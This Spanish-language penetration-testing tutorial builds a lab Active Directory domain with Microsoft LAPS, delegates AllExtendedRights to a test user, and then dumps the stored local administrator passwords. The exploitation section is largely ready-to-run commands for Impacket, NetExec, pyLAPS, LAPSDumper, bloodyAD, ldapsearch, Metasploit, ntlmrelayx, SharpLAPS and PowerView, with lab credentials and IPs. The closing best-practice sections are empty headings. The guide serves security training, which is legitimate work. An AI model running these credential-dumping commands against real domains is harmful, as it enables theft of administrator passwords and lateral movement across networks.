Volcado de Credenciales LAPS

Contenidos


Introducción

En este artículo, discutiremos el concepto de Volcado de Credenciales y LAPS (Solución de Contraseñas de Administrador Local). Profundizaremos en el mundo de la gestión de contraseñas y exploraremos cómo LAPS puede ayudar a mitigar los riesgos asociados con el uso de cuentas y contraseñas locales compartidas en un dominio. Con la creciente amenaza de ciberataques, es esencial comprender la importancia de la gestión segura de contraseñas y cómo LAPS puede ayudar a agilizar este proceso.

Introducción a LAPS

La Solución de Contraseñas de Administrador Local (LAPS) es una herramienta diseñada para gestionar las contraseñas de cuentas locales de computadoras unidas a un dominio. Almacena estas contraseñas de forma segura en Active Directory (AD) y las protege mediante Listas de Control de Acceso (ACLs). En consecuencia, solo los usuarios autorizados pueden acceder o restablecerlas.

Beneficios Clave de LAPS

En configuraciones donde los usuarios deben iniciar sesión en computadoras sin credenciales de dominio, la gestión de contraseñas puede volverse desafiante y aumentar el riesgo de ataques de Pass-the-Hash (PtH). Por lo tanto, LAPS aborda el problema de usar una cuenta local compartida con la misma contraseña en todas las computadoras de un dominio. Asigna una contraseña única y generada aleatoriamente a la cuenta de administrador local en cada máquina. Como resultado, los administradores de dominio pueden controlar qué usuarios, como el personal de soporte técnico, pueden ver estas contraseñas.

Cómo LAPS Mejora la Seguridad

LAPS agiliza la gestión de contraseñas mientras refuerza las defensas contra amenazas cibernéticas. Específicamente, reduce el riesgo de movimiento lateral dentro de una red, una vulnerabilidad que surge cuando se utilizan las mismas credenciales administrativas locales en múltiples computadoras. Almacena las contraseñas de la cuenta de administrador local de cada computadora en Active Directory dentro de un atributo confidencial vinculado al objeto de AD de la computadora. Además, las computadoras actualizan su información de contraseña en AD, y los administradores de dominio asignan permisos de lectura a usuarios o grupos específicos, como equipos de soporte técnico.

Implementación y Gestión de LAPS

Con LAPS, las contraseñas de administrador local en computadoras unidas a dominio se gestionan automáticamente, asegurando que sean únicas, creadas aleatoriamente y almacenadas de forma segura en Active Directory. Dado que está construido completamente en infraestructura de AD, LAPS no requiere tecnologías adicionales. Además, depende de una extensión del lado del cliente de Directiva de Grupo (CSE) instalada en las computadoras gestionadas para manejar todas las tareas, e incluye herramientas de gestión que simplifican la configuración y supervisión.

Funcionamiento de LAPS

En esencia, LAPS utiliza una extensión del lado del cliente de Directiva de Grupo (CSE) que realiza funciones clave durante una actualización de Directiva de Grupo. Primero, verifica si la contraseña de la cuenta de Administrador local ha expirado. Si ha expirado o necesita cambiar de forma preventiva, la CSE genera inmediatamente una nueva contraseña y asegura que cumpla con la política de contraseñas. Luego, la CSE actualiza Active Directory con la nueva contraseña, la almacena como un atributo confidencial vinculado a la cuenta de la computadora y registra la próxima fecha de expiración de la contraseña en un atributo separado. Adicionalmente, actualiza la contraseña de la cuenta de Administrador en la computadora. Finalmente, los usuarios autorizados pueden recuperar la contraseña de Active Directory o solicitar un restablecimiento de contraseña para una máquina específica según sea necesario.

Tipos de LAPS

Microsoft LAPS Legacy (MS LAPS)

Nuevo Windows LAPS (Integrado en Windows 10/11 y Server 2019/2022)

Pre-requisitos

Configuración del Laboratorio

Crear el Entorno AD:
Para simular un entorno de Active Directory, necesitará un Windows Server como Controlador de Dominio (DC) y una máquina cliente (Windows o Linux) donde pueda ejecutar herramientas de enumeración y explotación.

Controlador de Dominio:

Crear una Unidad Organizativa

Las unidades organizativas (OU) en un dominio gestionado por Servicios de Dominio de Active Directory (AD DS) permiten agrupar lógicamente objetos como cuentas de usuario, cuentas de servicio o cuentas de computadora. Luego puede asignar administradores a OU específicas y aplicar directivas de grupo para imponer configuraciones específicas.

Abrir Usuarios y Equipos de Active Directory (ADUC) en el Controlador de Dominio.

Haga clic derecho en Dominio (Ignite.local) y haga clic en Nuevo, y luego haga clic en Unidad Organizativa.

Asigne el nombre de la OU como Tech.

Volcado de Credenciales LAPS

Nuevo Objeto - Unidad Organizativa

Crear en: ignite.local/

Nombre:
- Tech
- Proteger contenedor de eliminación accidental

OK Cancelar Ayuda

Agregue su máquina cliente a la OU Tech.

En Usuarios y Equipos de Active Directory, bajo la OU Tech, debería ver su máquina cliente listada.

Descargar e Instalar LAPS

Antes de comenzar con la fase de volcado de credenciales, necesitamos configurar LAPS en nuestro Windows Server 2016 o máquina Windows 10. Necesitamos realizar 3 tareas específicas que incluyen la instalación del cliente completo de LAPS, la configuración del Módulo de PowerShell y la implementación de plantillas de Directiva de Grupo.

Descargar LAPS

Obtenga la última versión de LAPS desde el Centro de Descargas de Microsoft.

Instalar LAPS en el DC

Ejecute el instalador .msi y seleccione:

Complete la instalación.

Configurar Directiva de Grupo para LAPS

Abra la Consola de Gestión de Directivas de Grupo (GPMC).

Cree un nuevo GPO o edite uno existente.

Volcado de Credenciales LAPS

Navegue a: Configuración de Equipo → Plantillas Administrativas → LAPS.

Configure las siguientes configuraciones (captura de pantalla a continuación):
Configuración de Contraseña: Establecer en Habilitado
Complejidad de Contraseña → Letras mayúsculas + letras minúsculas + números + caracteres especiales
Longitud de Contraseña → Establecer longitud (por defecto: 14).
Antigüedad de Contraseña (Días) → Definir la expiración (por ejemplo, 30 días).

Habilite Nombre de cuenta de administrador para gestionar → Establecer en Habilitado. Y establezca el nombre de la cuenta de administrador, en este caso, ieuser.

Habilite Gestión de contraseñas de administrador local → establecer en Habilitado.

Volcado de Credenciales LAPS

Para que todos los cambios en la política estén activos, necesitamos realizar una actualización de Directiva de Grupo como se muestra en la imagen a continuación:

Microsoft Windows [Version 10.0.17763.292]

(c) 2018 Microsoft Corporation. All rights reserved.


C:\Users\Administrator>gpupdate /force

Actualizando política...


La actualización de la política de equipo se ha completado correctamente.

Extender el Esquema de AD para LAPS

Abra PowerShell como Administrador en el DC y ejecute el siguiente comando para actualizar el esquema:

powershell -ep bypass

Import-Module AdmPwd.PS

Update-AdmPwdADSchema

Esto creará dos nuevos atributos en Active Directory (AD):

Establecer Permisos de AD

Permitir que las Computadoras Actualicen Sus Propias Contraseñas

Set-AdmPwdComputerSelfPermission -OrgUnit Tech

Conceder Acceso a los Administradores para Ver Contraseñas

Set-AdmPwdReadPasswordPermission -OrgUnit Tech -AllowedPrincipals Administrators

Volcado de Credenciales LAPS

Ejemplo de salida de PowerShell:

PS C:\Users\Administrator> powershell -ep bypass

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.


PS C:\Users\Administrator> Import-Module AdmPwd.PS

PS C:\Users\Administrator> Update-AdmPwdADSchema


Operación                                  DistinguishedName                                        Estado

---------                                  -----------------                                        ------

AddSchemaAttribute                         CN=ms-MCS-AdmPwdExpirationTime,CN=Schema,CN=Configurati... Éxito

AddSchemaAttribute                         CN=ms-MCS-AdmPwd,CN=Schema,CN=Configuration,DC=ignite,... Éxito

ModifySchemaClass                          CN=Computer,CN=Schema,CN=Configuration,DC=ignite,DC=local Éxito


PS C:\Users\Administrator> Set-AdmPwdComputerSelfPermission -OrgUnit Tech


Nombre    DistinguishedName                Estado

------    -----------------                ------

Tech      OU=Tech,DC=ignite,DC=local      Delegado


PS C:\Users\Administrator> Set-AdmPwdReadPasswordPermission -OrgUnit Tech -AllowedPrincipals Administrators


Nombre    DistinguishedName                Estado

------    -----------------                ------

Tech      OU=Tech,DC=ignite,DC=local      Delegado

Desplegar LAPS a Máquinas Cliente

Instale LAPS en todas las máquinas cliente mediante GPO, SCCM o instalación manual.

Asegúrese de que el agente de LAPS esté ejecutándose ejecutando:

gpupdate /force

Volcado de Credenciales LAPS

Ejemplo de salida:

Microsoft Windows [Version 10.0.17763.379]

(c) 2018 Microsoft Corporation. All rights reserved.


C:\Users\raj>gpupdate /force

Actualizando política...


La actualización de la política de equipo se ha completado correctamente.

La actualización de la política de usuario se ha completado correctamente.


C:\Users\raj>

Probar LAPS

Ahora, para asegurarse de que funciona correctamente, verifiquemos la contraseña asignada por LAPS a la Máquina Cliente (MSEDGEWIN10) en sus propiedades. Como puede observar en la imagen a continuación, LAPS ha asignado una contraseña aleatoria a la Máquina Cliente (MSEDGEWIN10).

Abra Usuarios y Equipos de Active Directory (ADUC) en el Controlador de Dominio.

Localice la Máquina Cliente (MSEDGEWIN10) en la OU Tech.

En sus propiedades, haga clic en Editor de atributos.

Debería ver el atributo ms-Mcs-AdmPwd con una contraseña generada aleatoriamente.

Comprender el Modelo de Seguridad de LAPS:

Intro: Configurar un usuario (raj) para recuperar contraseñas gestionadas por LAPS desde AD. Esto no es un ataque en sí mismo—es una acción administrativa legítima si la realiza un administrador autorizado. Sin embargo, si un atacante obtiene control de la cuenta raj o realiza estos pasos sin autorización, podría conducir a un ataque de escalada de privilegios o robo de credenciales de las siguientes maneras:

Crear el Usuario de Dominio

Cree una cuenta de usuario de AD llamada Raj.

net user raj Password@1 /add /domain

LAPS almacena las contraseñas de administrador local en el atributo ms-Mcs-AdmPwd, que está protegido por defecto. Solo grupos específicos (por ejemplo, Administradores de Dominio) o usuarios delegados explícitamente pueden leerlo.

La cuenta win1 no tenía permiso para leer este atributo, por lo que está creando un nuevo usuario (raj) y otorgando los permisos mínimos necesarios para recuperar las contraseñas de LAPS.

Añadir un nuevo usuario de dominio a la Máquina Cliente con Permiso AllExtendedRights.

Abra ADUC. Navegue a OU Tech bajo el dominio. Debería ver la Máquina Cliente (MSEDGEWIN10) listada, haga clic derecho en ella y vaya a propiedades.

Vaya a la pestaña Seguridad y haga clic en el botón Agregar.

En el cuadro "Ingrese el nombre del objeto para seleccionar", escriba raj y haga clic en Comprobar nombres y luego en Aceptar.

Seleccione el usuario Raj y haga clic en la opción avanzada.

En la sección Permisos, marque la casilla para el permiso Todos los derechos extendidos.

Aplique la configuración.

Volcado de Credenciales LAPS

Explicación: Todos los Derechos Extendidos:

Ahora hemos terminado con la configuración del entorno de laboratorio para LAPS en Windows.

Fase de Explotación

Bloodhound – Búsqueda de Permisos Débiles

Explicación de BloodHound

Usar BloodHound para Confirmar Privilegios: Puede usar BloodHound para verificar que Raj tiene el permiso AllExtendedRights para la Máquina Cliente (MSEDGEWIN10).

bloodhound-python -u raj -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

Desde la representación gráfica de Bloodhound, el evaluador querría identificar el control de objetos salientes para el usuario seleccionado donde el primer grado de valor de control de objetos es igual a 1.

Puede ver el resultado, el usuario Raj tiene Todos los derechos extendidos.

Si navega a la sección de ayuda, encontrará la explicación sobre qué vulnerabilidades podría tener esta configuración y cómo puede atacar aprovechando esto.

Método de Explotación - Volcado de Credenciales (T1003)

Usemos varias otras herramientas para realizar el ataque y recuperar la contraseña de administrador local, que es establecida por la herramienta LAPS.

Impacket

El conjunto de herramientas Impacket es una colección de bibliotecas y scripts de Python diseñados para trabajar con protocolos de red, particularmente aquellos utilizados en entornos Windows, como SMB, Kerberos, LDAP y NTLM.

impacket-GetLAPSPassword ignite.local/raj:Password@1 -dc-ip 192.168.1.48

Volcado de Credenciales LAPS

Herramienta NXC

NXC, abreviatura de NetExec, es una herramienta basada en Python que automatiza la explotación de servicios de red como SMB, LDAP, WinRM, RDP, WMI, MSSQL y más. Está diseñada para agilizar las pruebas de penetración internas al proporcionar una interfaz unificada para interactuar con protocolos Windows, muy similar a Impacket, pero con un enfoque en soporte multiprotocolo y extensiones modulares.

nxc ldap "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" --module laps

PyLaps

GitHub - p0dalirius/pyLAPS: Setter/Getter de Python para la propiedad ms-Mcs-AdmPwd utilizada por LAPS.

Este script es un setter/getter de Python para la propiedad ms-Mcs-AdmPwd utilizada por LAPS, inspirado en SharpLAPS de @swisskyrepo en C#.

Clonar el repositorio:

git clone https://github.com/p0dalirius/pyLAPS

cd pyLAPS

chmod 777 pyLAPS.py

Ejecutar el script

./pyLAPS.py --action get -d "192.168.1.48" -u "raj" -p "Password@1"

LAPSDumper

GitHub - n00py/LAPSDumper: Volcado de LAPS desde Python

Clonar el repositorio:

git clone https://github.com/n00py/LAPSDumper

cd LAPSDumper

chmod 777 laps.py

Ejecutar el script

python laps.py -u 'raj' -p 'Password@1' -d 'ignite.local'

Volcado de Credenciales LAPS

BloodyAD

BloodyAD es un framework de escalada de privilegios de Active Directory (AD) de código abierto diseñado para ayudar a profesionales de seguridad, probadores de penetración y equipos rojos a identificar y explotar rutas de escalada de privilegios dentro de entornos AD.

bloodyAD --host "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Ldapsearch

ldapsearch es una herramienta de línea de comandos utilizada para consultar y recuperar información de un servicio de directorio LDAP (Lightweight Directory Access Protocol), como Active Directory (AD) o un servidor OpenLDAP. Es parte de la suite de software OpenLDAP y es ampliamente utilizada por administradores de sistemas, profesionales de seguridad y probadores de penetración para interactuar con directorios LDAP, extraer datos (por ejemplo, cuentas de usuario, membresías de grupo o atributos como contraseñas LAPS) y solucionar problemas relacionados con el directorio. ldapsearch le permite realizar búsquedas basadas en filtros, recuperar atributos específicos y autenticarse en el directorio utilizando varios métodos.

ldapsearch -x -H ldap://192.168.1.48 -D "raj@ignite.local" -w "Password@1" -b "dc=ignite,dc=local" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd

Metasploit: ldap_query

Este módulo (auxiliary/gather/ldap_query) permite a los usuarios consultar un servidor LDAP usando una consulta LDAP personalizada o un conjunto de consultas LDAP bajo una categoría específica.

use auxiliary/gather/ldap_query

set rhosts 192.168.1.48

set username raj

set password Password@1

set domain ignite.local

set action ENUM_LAPS_PASSWORDS

run

Impacket-ntlmrelayx

Este módulo realiza los ataques de Relay SMB descubiertos originalmente por cDc, extendidos a muchos protocolos objetivo (SMB, MSSQL, LDAP, etc.)

Alternativamente, el ntlmrelayx de Impacket también tiene esa característica, utilizable con --dump-laps.

impacket-ntlmrelayx -t ldaps://192.168.1.48 -debug --dump-laps --no-dump --no-da --no-acl --no-validate-privs

Volcado de Credenciales LAPS

Después de una breve espera, recibimos una conexión HTTP desde la cuenta del usuario Raj junto con la contraseña de LAPS.

ldap_shell

Este proyecto es un fork de ldap_shell de Impacket. Proporciona una shell interactiva para la enumeración y manipulación de Active Directory a través de protocolos LDAP/LDAPS, haciéndolo útil tanto para administradores de sistemas como para profesionales de seguridad.

Esto también se puede lograr usando ldap_shell:

Clonar el repositorio e instalar:

git clone https://github.com/PShlyundin/ldap_shell

cd ldap_shell

python3 -m pipx install .

Use la opción get_laps_gmsa después de obtener una shell como el usuario raj.

ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48

Explotación en Windows

PowerShell

Descargar Get-LAPSPasswords

Powershell -ep bypass

Import-Module .\Get-LAPSPasswords.ps1

Get-LAPSPasswords -DomainController 192.168.1.48 -Credential IGNITE\raj | Format-Table -Autosize

NetTools

Descargar | NetTools

NetTools es una herramienta gratuita de solución de problemas de Active Directory, que proporciona la capacidad de solucionar problemas, consultar, informar y actualizar Active Directory y otros directorios basados en LDAP.

Volcado de Credenciales LAPS

Dentro de NetTools, puede navegar para ver los atributos de la computadora, incluida la contraseña de LAPS.

Sharplaps

Descargar Sharplaps

Este ejecutable está hecho para ejecutarse dentro de una sesión de Cobalt Strike usando execute-assembly. Recuperará la contraseña de LAPS de Active Directory.

C:\Users\raj\Downloads>SharpLAPS.exe /user:IGNITE\raj /pass:Password@1 /host:192.168.1.48

Metasploit: enum_laps

Este módulo (post/windows/gather/credentials/enum_laps) recuperará las contraseñas de LAPS (Solución de Contraseñas de Administrador Local), configuradas en Active Directory, a las que generalmente solo pueden acceder usuarios privilegiados. Tenga en cuenta que el nombre de la cuenta de administrador local no se almacena en Active Directory, por lo que se supone que es 'Administrador' por defecto.

use post/windows/gather/credentials/enum_laps

set session 1

run

Powerview

PowerView es una herramienta de PowerShell para obtener conciencia situacional de la red en dominios Windows.

Descargar Powerview

Import-Module \PowerView.ps1

Get-DomainComputer MSEDGEWIN10 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

Explorador de Active Directory – Sysinternals

Explorador de Active Directory (AD Explorer) es un visor y editor avanzado de Active Directory (AD). Puede usar AD Explorer para navegar fácilmente por una base de datos de AD, definir ubicaciones favoritas, ver propiedades y atributos de objetos sin tener que abrir cuadros de diálogo, editar permisos, ver el esquema de un objeto y ejecutar búsquedas sofisticadas que puede guardar y volver a ejecutar.

AD Explorer - Sysinternals | Microsoft Learn

Conclusión

Mejores Prácticas para la Seguridad de LAPS:

Resumen de Puntos Clave

Notas